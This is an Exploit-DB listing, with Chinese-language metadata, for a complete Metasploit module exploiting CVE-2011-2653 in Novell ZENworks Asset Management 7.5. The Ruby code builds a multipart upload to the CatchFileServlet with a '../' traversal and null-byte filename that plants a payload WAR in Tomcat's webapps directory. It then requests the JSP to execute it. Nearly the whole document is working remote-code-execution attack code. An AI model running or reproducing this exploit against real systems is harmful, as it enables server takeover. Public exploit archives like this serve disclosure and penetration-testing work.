标题: Novell ZENworks Asset Management - Remote Execution (Metasploit) EDB-ID: 20502 CVE: 2011-2653 类型: REMOTE 平台: JAVA 发布日期: 2012-08-15 漏洞利用脚本: ##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
#   http://metasploit.com/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
 Rank = ExcellentRanking

 HttpFingerprint = { :pattern => [ /Apache-Coyote/ ] }

 include Msf::Exploit::Remote::HttpClient
 include Msf::Exploit::EXE

 def initialize(info = {})
  super(update_info(info,
   'Name'        => 'Novell ZENworks Asset Management Remote Execution',
   'Description' => %q{
     This module exploits a path traversal flaw in Novell ZENworks Asset Management
    7.5. By exploiting the CatchFileServlet, an attacker can upload a malicious file
    outside of the MalibuUploadDirectory and then make a secondary request that allows
    for arbitrary code execution.
   },
   'Author'         =>
    [
     'Unknown', # Vulnerability discovery
     'juan vazquez' # Metasploit module
    ],
   'License'     => MSF_LICENSE,
   'References'  =>
    [
     [ 'CVE', '2011-2653' ],
     [ 'OSVDB', '77583' ],
     [ 'BID', '50966' ],
     [ 'URL', 'http://www.zerodayinitiative.com/advisories/ZDI-11-342/' ],
     [ 'URL', 'http://download.novell.com/Download?buildid=hPvHtXeNmCU~' ]
    ],
   'Privileged'  => true,
   'Platform'    => [ 'java' ],
   'Targets'     =>
    [
     [ 'Java Universal',
      {
       'Arch' => ARCH_JAVA,
       'Platform' => 'java'
      },
     ]
    ],
   'DefaultTarget'  => 0,
   'DisclosureDate' => 'Nov 02 2011'))

  register_options(
   [
    Opt::RPORT(8080),
    OptInt.new('DEPTH', [true, 'Traversal depth to reach the Tomcat webapps dir', 3])
   ], self.class )
 end

 def exploit

  # Generate the WAR containing the payload
  app_base = rand_text_alphanumeric(4+rand(32-4))
  jsp_name = rand_text_alphanumeric(8+rand(8))
  war_data = payload.encoded_war(:app_name => app_base, :jsp_name => jsp_name).to_s

  uid  = rand_text_alphanumeric(34).to_s

  data =  "------#{uid}\r\n"
  data << "Content-Disposition: form-data; name=\"RequestParms\"\r\n\r\n"
  data << "\r\n"
  data <<  "------#{uid}\r\n"
  data << "Content-Disposition: form-data; name=\"language\"\r\n\r\n"
  data << "\r\n"
  data <<  "------#{uid}\r\n"
  data << "Content-Disposition: form-data; name=\"rtyp\"\r\n\r\n"
  data << "prod\r\n"
  data <<  "------#{uid}\r\n"
  data << "Content-Disposition: form-data; name=\"sess\"\r\n\r\n"
  data << "\r\n"
  data <<  "------#{uid}\r\n"
  data << "Content-Disposition: form-data; name=\"mode\"\r\n\r\n"
  data << "newreport\r\n"
  data <<  "------#{uid}\r\n"
  data << "Content-Disposition: form-data; name=\"dp\"\r\n\r\n"
  data << "n\r\n"
  data <<  "------#{uid}\r\n"
  data << "Content-Disposition: form-data; name=\"console\"\r\n\r\n"
  data << "\r\n"
  data <<  "------#{uid}\r\n"
  data << "Content-Disposition: form-data; name=\"oldentry\"\r\n\r\n"
  data << "\r\n"
  data <<  "------#{uid}\r\n"
  data << "Content-Disposition: form-data; name=\"act\"\r\n\r\n"
  data << "malibu.StartImportPAC\r\n"
  data <<  "------#{uid}\r\n"
  data << "Content-Disposition: form-data; name=\"saveact\"\r\n\r\n"
  data << "malibu.StartImportPAC\r\n"
  data <<  "------#{uid}\r\n"
  data << "Content-Disposition: form-data; name=\"isalert\"\r\n\r\n"
  data << "\r\n"
  data <<  "------#{uid}\r\n"
  data << "Content-Disposition: form-data; name=\"language\"\r\n\r\n"
  data << "\r\n"
  data <<  "------#{uid}\r\n"
  data << "Content-Disposition: form-data; name=\"queryid\"\r\n\r\n"
  data << "\r\n"
  data <<  "------#{uid}\r\n"
  data << "Content-Disposition: form-data; name=\"Locale\"\r\n\r\n"
  data << "MM/dd/yyyy\r\n"
  data <<  "------#{uid}\r\n"
  data << "Content-Disposition: form-data; name=\"CurrencySym\"\r\n\r\n"
  data << "$\r\n"
  data <<  "------#{uid}\r\n"
  data << "Content-Disposition: form-data; name=\"CurrencyPos\"\r\n\r\n"
  data << "start\r\n"
  data <<  "------#{uid}\r\n"
  data << "Content-Disposition: form-data; name=\"ThousandsSep\"\r\n\r\n"
  data << ",\r\n"
  data <<  "------#{uid}\r\n"
  data << "Content-Disposition: form-data; name=\"CurDecimalPt\"\r\n\r\n"
  data << ".\r\n"
  data <<  "------#{uid}\r\n"
  data << "Content-Disposition: form-data; name=\"MinusSign\"\r\n\r\n"
  data << "-\r\n"
  data <<  "------#{uid}\r\n"
  data << "Content-Disposition: form-data; name=\"sum\"\r\n\r\n"
  data << "\r\n"
  data <<  "------#{uid}\r\n"
  data << "Content-Disposition: form-data; name=\"grp\"\r\n\r\n"
  data << "\r\n"
  data <<  "------#{uid}\r\n"
  data << "Content-Disposition: form-data; name=\"col\"\r\n\r\n"
  data << "\r\n"
  data <<  "------#{uid}\r\n"
  data << "Content-Disposition: form-data; name=\"PreLoadRight\"\r\n\r\n"
  data << "yes\r\n"
  data <<  "------#{uid}\r\n"
  data << "Content-Disposition: form-data; name=\"console\"\r\n\r\n"
  data << "\r\n"
  data <<  "------#{uid}\r\n"
  data << "Content-Disposition: form-data; name=\"uploadFile\"; filename=\"/#{"../" * datastore['DEPTH']}#{app_base}.war\x00.txt\"\r\n"
  data << "Content-Type: application/octet-stream\r\n\r\n"
  data << war_data
  data << "\r\n"
  data <<  "------#{uid}\r\n"
  data << "Content-Disposition: form-data; name=\"SuccessPage\"\r\n\r\n"
  data << "Html/UploadSuccess.html\r\n"
  data <<  "------#{uid}--\r\n"

  res = send_request_cgi(
   {
    'uri'    => "/rtrlet/catch",
    'method' => 'POST',
    'ctype'   => "multipart/form-data; boundary=----#{uid}",
    'data'    => data,
   })

  print_status("Uploading #{war_data.length} bytes as #{app_base}.war ...")

  select(nil, nil, nil, 10)

  if (res.code == 500)
   print_status("Triggering payload at '/#{app_base}/#{jsp_name}.jsp' ...")
    send_request_raw(
     {
      'uri'    => "/#{app_base}/" + "#{jsp_name}" + '.jsp',
      'method' => 'GET',
     })
  else
   print_error("WAR upload failed...")
  end

 end

end URL: https://www.exploit-db.com/exploits/20502